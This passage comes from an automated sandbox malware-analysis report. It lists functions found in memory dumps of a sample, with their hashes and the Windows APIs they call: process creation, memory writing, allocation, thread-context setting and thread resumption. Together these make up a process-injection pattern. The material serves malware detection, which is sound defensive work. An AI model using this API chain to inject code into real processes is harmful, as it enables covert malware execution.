                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: CreateProcess
                                                            • String ID:
                                                            • API String ID: 963392458-0
                                                            • Opcode ID: 0c6a5143f650850089d378d4b487816733e3df571abdb9b1b1d53beebb974b9a
                                                            • Instruction ID: b7dc8a4b6e598ee34d7eea0f4ea8e76f4b8836c1d0f2f968415b1ddf2b4d87e8
                                                            • Opcode Fuzzy Hash: 0c6a5143f650850089d378d4b487816733e3df571abdb9b1b1d53beebb974b9a
                                                            • Instruction Fuzzy Hash: BBA1F2B4D00218DFDB20DFA9C8857EDFBB1BB0A310F14916AE859B7250DB749985CF85
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03131C80 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 03131EE7
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: CreateProcess
                                                            • String ID:
                                                            • API String ID: 963392458-0
                                                            • Opcode ID: f4606422b265ed8eed75a2d6cf4b9cdaedc6e36f27c59cbef6bba51779752886
                                                            • Instruction ID: 9fcb36287e21169ef975e610547c0c3b515bf25f6497e46de7900028951880f5
                                                            • Opcode Fuzzy Hash: f4606422b265ed8eed75a2d6cf4b9cdaedc6e36f27c59cbef6bba51779752886
                                                            • Instruction Fuzzy Hash: AFA1F1B4D00218DFDB20DFA9C8857EEBBF1BB0A310F14916AE859B7250DB749985CF85
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03132968 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 03132A40
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: MemoryProcessWrite
                                                            • String ID:
                                                            • API String ID: 3559483778-0
                                                            • Opcode ID: 2d5ef6b6e151edf8c19ea9c6710717d01bcaa6e55ebe79eaa54f6848e23487d5
                                                            • Instruction ID: 13f7e040fdbc50856ab7c759b72f794cc41912f79696994692935af6b70b7b6a
                                                            • Opcode Fuzzy Hash: 2d5ef6b6e151edf8c19ea9c6710717d01bcaa6e55ebe79eaa54f6848e23487d5
                                                            • Instruction Fuzzy Hash: 1C41CCB5D052589FCF10DFA9D984ADEFBF1BB49310F24942AE418B7210D738AA45CF64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03132970 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 03132A40
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: MemoryProcessWrite
                                                            • String ID:
                                                            • API String ID: 3559483778-0
                                                            • Opcode ID: ebf9f567965046e229225faf385e532fde0c1c99be49cbf190082beebc7e5ef3
                                                            • Instruction ID: 84570e35f0ff64783d5e7a19dbc8e09f263980040a00d7e565d1b213080d1994
                                                            • Opcode Fuzzy Hash: ebf9f567965046e229225faf385e532fde0c1c99be49cbf190082beebc7e5ef3
                                                            • Instruction Fuzzy Hash: A941BBB5D012589FCF10DFA9D984ADEFBF1BB49310F24942AE818B7210D734AA45CF64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031326A9 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0313275A
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: AllocVirtual
                                                            • String ID:
                                                            • API String ID: 4275171209-0
                                                            • Opcode ID: 6689856ba4a3f1a32e7f96a7c3a57a942eac90b3c59e9e66473a3a54901f48a2
                                                            • Instruction ID: 7606277247f1abc7d1f1d65bcecf3f2b5e05b5139ef9a3bc12fb40ce8bda0281
                                                            • Opcode Fuzzy Hash: 6689856ba4a3f1a32e7f96a7c3a57a942eac90b3c59e9e66473a3a54901f48a2
                                                            • Instruction Fuzzy Hash: 703198B8D002589FCF10CFA9D984ADEFBB1BB49310F10942AE815B7210D735A946CF69
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031326B0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0313275A
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: AllocVirtual
                                                            • String ID:
                                                            • API String ID: 4275171209-0
                                                            • Opcode ID: 2d1b71b0c03a7473902dcccfa826fbe0c74c297ffe0b35483c8162ae3ae74c58
                                                            • Instruction ID: e69d9d407794698bde5b3068f8319f7c9ba7e991818b1cea0adade4b4db747d1
                                                            • Opcode Fuzzy Hash: 2d1b71b0c03a7473902dcccfa826fbe0c74c297ffe0b35483c8162ae3ae74c58
                                                            • Instruction Fuzzy Hash: A331A6B8D00258DFCF10CFA9D984ADEFBB1BB49320F10942AE815B7210D735A946CF68
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03132028 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Wow64SetThreadContext.KERNEL32(?,?), ref: 031320DF
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ContextThreadWow64
                                                            • String ID:
                                                            • API String ID: 983334009-0
                                                            • Opcode ID: 917bb156b318b028bad9c70b3153321c10f72b4a63c1ad95a1738581e7d720e4
                                                            • Instruction ID: b343a0e126dc4fe583ac5a7a8ffce4eb82bcd74bc884ce840c7ebbe7a1b70bcc
                                                            • Opcode Fuzzy Hash: 917bb156b318b028bad9c70b3153321c10f72b4a63c1ad95a1738581e7d720e4
                                                            • Instruction Fuzzy Hash: 2441DEB4D012589FCB10DFA9D984AEEFBF1BF49310F24842AE414B7200C738A989CF54
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03132030 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Wow64SetThreadContext.KERNEL32(?,?), ref: 031320DF
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ContextThreadWow64
                                                            • String ID:
                                                            • API String ID: 983334009-0
                                                            • Opcode ID: 46a260c8163033659b96583c12a889f1e3e05b6a4e8dca908c98161aa121bd9f
                                                            • Instruction ID: c13246444ed7be753430a047e4cb3c50d9007b86a26bc2770b8607ba599a9ee5
                                                            • Opcode Fuzzy Hash: 46a260c8163033659b96583c12a889f1e3e05b6a4e8dca908c98161aa121bd9f
                                                            • Instruction Fuzzy Hash: 1231CBB4D002589FCB10DFA9D984AEEFBF1BF49310F24842AE419B7250C738A989CF54
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03132D00 Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • ResumeThread.KERNELBASE(?), ref: 03132D86
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ResumeThread
                                                            • String ID:
                                                            • API String ID: 947044025-0
                                                            • Opcode ID: 829d0f028b50741bb3147ae8720eeb50e4ecd049b68e208327ed71cac42fa209
                                                            • Instruction ID: 3c30b5679233ba57f9b2fb1a7f332e2fd6c5eb2bd90b481886ddcd478933c8ae
                                                            • Opcode Fuzzy Hash: 829d0f028b50741bb3147ae8720eeb50e4ecd049b68e208327ed71cac42fa209
                                                            • Instruction Fuzzy Hash: EB31ECB4D012189FCB14DFA9D981AEEFBB4AF49310F14942AE418B7300CB34A941CFA8
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03132D08 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • ResumeThread.KERNELBASE(?), ref: 03132D86
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552988065.0000000003130000.00000040.00000800.00020000.00000000.sdmp, Offset: 03130000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3130000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ResumeThread
                                                            • String ID:
                                                            • API String ID: 947044025-0
                                                            • Opcode ID: 4f8c1a11d318839888229fc055b6b7d0256fac210d9fa1a9d8fd2ba35bea0847
                                                            • Instruction ID: ff5e655e9e67bccaf51717db0d242ab580453ef4b22465a6d923ebabf9268309
                                                            • Opcode Fuzzy Hash: 4f8c1a11d318839888229fc055b6b7d0256fac210d9fa1a9d8fd2ba35bea0847
                                                            • Instruction Fuzzy Hash: F031AAB4D012189FCB14DFA9D984AEEFBB5AF49310F14942AE819B7310C735A941CFA8
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F1280 Relevance: 1.4, Strings: 1, Instructions: 145COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: 1ce9a78daa4e2d0a085913ccf93dfa738ee74e771b6253dfaa6332420e859faf
                                                            • Instruction ID: d64f7b8684bfba0998bc4c9c4595d6b30bd8f97685ea6061870596300192a03c
                                                            • Opcode Fuzzy Hash: 1ce9a78daa4e2d0a085913ccf93dfa738ee74e771b6253dfaa6332420e859faf
                                                            • Instruction Fuzzy Hash: 5251F878E0020ADFDF04CFA9D984AEEBBB1BF88310F14A669D406EB254DB359945CF50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2961 Relevance: 1.4, Strings: 1, Instructions: 135COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID: 0-3916222277
                                                            • Opcode ID: 0395fc0f844c7b3f4e4b978bb7ea900c3b70710f20d10818e948174df3ab82cd
                                                            • Instruction ID: 327e2c882e1a035d0b59c0439419a907d57e9eb68b6884b7807bf3c273574831
                                                            • Opcode Fuzzy Hash: 0395fc0f844c7b3f4e4b978bb7ea900c3b70710f20d10818e948174df3ab82cd
                                                            • Instruction Fuzzy Hash: 3141E435B041568FCB11CBA8DC915EEFBB2FF8A311B59C5AAD581DB606C330A853CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2B08 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: 0ad4d10d6be7408a8859902020d6d9bf48ab28f3c0451ec69f87897095ab28c5
                                                            • Instruction ID: d5f030beb2264a6de8a30fc9181b2d14896819ec7e75d42fc25d7f2a9b14a67b
                                                            • Opcode Fuzzy Hash: 0ad4d10d6be7408a8859902020d6d9bf48ab28f3c0451ec69f87897095ab28c5
                                                            • Instruction Fuzzy Hash: 7721AC353401208FCB65DB78D85096A7BE9EF8DA6030948EAE94ACF376DB21DC428790
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F4558 Relevance: .1, Instructions: 130COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a7e58e5930dddf38a570e058f63dfc05cb167c0f1f38e73417e60e5abd3e6415
                                                            • Instruction ID: 7875e661709eedf957c38edfd1775340c2a60e0b9e3e8d0006d1b1bd8cad5444
                                                            • Opcode Fuzzy Hash: a7e58e5930dddf38a570e058f63dfc05cb167c0f1f38e73417e60e5abd3e6415
                                                            • Instruction Fuzzy Hash: 31418335B002049FC714DB7EC9509AEBBF5EF8D220B1581AAE509EB361DB31EC41CBA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031FFCC0 Relevance: .1, Instructions: 114COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 454c5c738356b40779984fbda3ad7dd8509de99aa51700cf215549736dc7646f
                                                            • Instruction ID: d5d3402e4762a7c02ec2514b5f7f6ed9902e83f548116d9cbebc3d2d52dbe89c
                                                            • Opcode Fuzzy Hash: 454c5c738356b40779984fbda3ad7dd8509de99aa51700cf215549736dc7646f
                                                            • Instruction Fuzzy Hash: BF51D274E01208DFDB18DFB9D994ADDBBB2BF88304F20802AE519AB351DB749946CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F4542 Relevance: .1, Instructions: 91COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d3257bf6f24bf4b404db151a34bd3273230684ea2013c06f187d2740c802ec22
                                                            • Instruction ID: 19c1b294921bdbcbfe5898cfbf2dffa89c0fcf3e6db69de108333ef402885b8e
                                                            • Opcode Fuzzy Hash: d3257bf6f24bf4b404db151a34bd3273230684ea2013c06f187d2740c802ec22
                                                            • Instruction Fuzzy Hash: DA312A34A002048FCB44DF6AC59099AFBF2EF8D310B1984A9D549EB362DB31EC42CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0308D01C Relevance: .1, Instructions: 74COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552389856.000000000308D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0308D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_308d000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5d7f733734d7ca4258a8e24f6258e4f5160e339ecda43213d378d5787da86ab9
                                                            • Instruction ID: 4e1bd1137748eb10254b33fd4000e97bec9579c1ba77447659bfb19d3fce6071
                                                            • Opcode Fuzzy Hash: 5d7f733734d7ca4258a8e24f6258e4f5160e339ecda43213d378d5787da86ab9
                                                            • Instruction Fuzzy Hash: FB213771505240DFCB14FF14D9C4B2BBFA5FB84324F24C6A9E9894B286C336D446CBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FF5D0 Relevance: .1, Instructions: 68COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f18ff9327cf537f7db21e173f3bb277a1d2b172986dd6d4e2b567a7624f6e8e3
                                                            • Instruction ID: 5bda75060632d6c6ac8e07c10e7ce0593d008a9082a6fdcb05a75a1a2e488277
                                                            • Opcode Fuzzy Hash: f18ff9327cf537f7db21e173f3bb277a1d2b172986dd6d4e2b567a7624f6e8e3
                                                            • Instruction Fuzzy Hash: BD2128F0E0420ACFCB14DFA9D0456AEBBBABB49320F10C169D515A72A0DB749982CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0DB7 Relevance: .1, Instructions: 67COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cf2e2c278c41d9761d18e3f5391043e42305da36d8a6934117cfee544e3d1edc
                                                            • Instruction ID: a4ab359d612f6ffdf63d3ba8ce0dd8957ab273292597bf8c1509e47beae1a2b1
                                                            • Opcode Fuzzy Hash: cf2e2c278c41d9761d18e3f5391043e42305da36d8a6934117cfee544e3d1edc
                                                            • Instruction Fuzzy Hash: 5D21A170A012598FCF46EB6CD8806ADBBF1EF49200B1481AAC049EF317DB34D946CBD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0308D007 Relevance: .1, Instructions: 63COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2552389856.000000000308D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0308D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_308d000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: be678398e58b978cc6f58702ce6f08a4b35d5385be95a7fe7ac6e9af98ff8ff9
                                                            • Instruction ID: 20b2e635a55a2d0d349c11de867b3f0f5eec55b09bea35a2d9a10b81b56c5139
                                                            • Opcode Fuzzy Hash: be678398e58b978cc6f58702ce6f08a4b35d5385be95a7fe7ac6e9af98ff8ff9
                                                            • Instruction Fuzzy Hash: E12183755093808FCB12DF14D994715BFB1EB46214F2886DAD8858B697C33AD41ACB62
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0DC8 Relevance: .1, Instructions: 52COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e8728b0e8f0b84a5a0dc0a51c7598057838a305a9aaffcc33a0a1f453d74bd78
                                                            • Instruction ID: 5d3844109d0b688283bc890e156b9ce19b767d7755df231d943cc87143317fa7
                                                            • Opcode Fuzzy Hash: e8728b0e8f0b84a5a0dc0a51c7598057838a305a9aaffcc33a0a1f453d74bd78
                                                            • Instruction Fuzzy Hash: D611FB74A002198FCF44EFA8D9505ADB7F2EF8C204B118169D509EB356DB35D9428BD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FE158 Relevance: .0, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 90b374eac3426279e9de90a5b6a94b42f4ede2b659a6807eeb08f7eb5a8db60e
                                                            • Instruction ID: 439b00bdc8defeb2b97ef540221bcdcc36d39609c5aaa0cbce67fc2d0a50f7ec
                                                            • Opcode Fuzzy Hash: 90b374eac3426279e9de90a5b6a94b42f4ede2b659a6807eeb08f7eb5a8db60e
                                                            • Instruction Fuzzy Hash: 6111F7B4E0120D9FDB44DFA9C9456AEBBF1BF88300F108469D418A7354EB309A41CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0E28 Relevance: .0, Instructions: 43COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 00f1871a49850325653b537564cdac3a5a65910bcd0de49ab5c235886a253510
                                                            • Instruction ID: 58e44d75726dd19330e282130130cf163dc0e24631f9d839c3b54012969a52aa
                                                            • Opcode Fuzzy Hash: 00f1871a49850325653b537564cdac3a5a65910bcd0de49ab5c235886a253510
                                                            • Instruction Fuzzy Hash: E9015A34B001198FCF45EB68C9509ADB7A2EF8C204B118269D505AF366DF79ED42CBD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F08C0 Relevance: .0, Instructions: 40COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cca738dc25428ee0314c10d1fcbd1f104cf4ded4cbe21c9ebc9241b41c9bf0e9
                                                            • Instruction ID: 8a63ce50037f8ff614bb30f4e5c52217449b0032b729093b711e4cc6aaa43ccd
                                                            • Opcode Fuzzy Hash: cca738dc25428ee0314c10d1fcbd1f104cf4ded4cbe21c9ebc9241b41c9bf0e9
                                                            • Instruction Fuzzy Hash: 1FF05EA0B193612BE69963688C60B7E149ECBC6B04F504069E34EEB2C5CD597D0707AF
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0838 Relevance: .0, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a4a15c9ac47d23d66dcb8ad994b7f8bf826e50a964a5acc0572e3504e50b028d
                                                            • Instruction ID: 041a06aba906407178724614d5eb945670258575e46ae16d873d54628442c988
                                                            • Opcode Fuzzy Hash: a4a15c9ac47d23d66dcb8ad994b7f8bf826e50a964a5acc0572e3504e50b028d
                                                            • Instruction Fuzzy Hash: DE017C31E0530A9FCB05FBB4D5586ADBBB1EF44305B1040AAD856E3285EF394A05CB82
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0DEF Relevance: .0, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a5016c83201e0b5e79bbffb4c46e3db5679bd375c98956128bcadb98aea3a291
                                                            • Instruction ID: f5576f417e0e87f60a86fc17f95f8dd31518c1aaa69e983f30fc53c14f8ef99c
                                                            • Opcode Fuzzy Hash: a5016c83201e0b5e79bbffb4c46e3db5679bd375c98956128bcadb98aea3a291
                                                            • Instruction Fuzzy Hash: EB012834B001198FCF45EB68C9509ADB7A2FB8C204B158169D409AF366DF35ED428BD0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0CF1 Relevance: .0, Instructions: 38COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2ea3fc5eef8f04c336b23e52e9e168fe8e25b79886154c1aa9d9b06802c994a4
                                                            • Instruction ID: 743ee08c0aaef75f9a39554423da66f12af1f6dc4c0409a8a7555d0165385c9c
                                                            • Opcode Fuzzy Hash: 2ea3fc5eef8f04c336b23e52e9e168fe8e25b79886154c1aa9d9b06802c994a4
                                                            • Instruction Fuzzy Hash: 56F0C2713043001FC711D66DDCA0566BB9DEBC922070480AED949CB342DE64EC05DB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071E83A7 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 97ceb5dc6e30b91a7e784137ccc3afadd80d1ddc87515da5c38ef72180abe4ba
                                                            • Instruction ID: 338fd324e4312020c669f83b9a0f22557d9963a6b73c1fdb45006bf178e84cb9
                                                            • Opcode Fuzzy Hash: 97ceb5dc6e30b91a7e784137ccc3afadd80d1ddc87515da5c38ef72180abe4ba
                                                            • Instruction Fuzzy Hash: 1D11EC74A00218CFDB64DF94D848B9AB7B5FB49300F2051E6D949A7240DB74AE84DF61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0848 Relevance: .0, Instructions: 35COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ac3719868abcc84550134b6a95062b3c9e435352ec551590adcb40362fae4cae
                                                            • Instruction ID: 969418842f9263b05c1e3898a59a5b4a743758ff417d966869713ad9d4346251
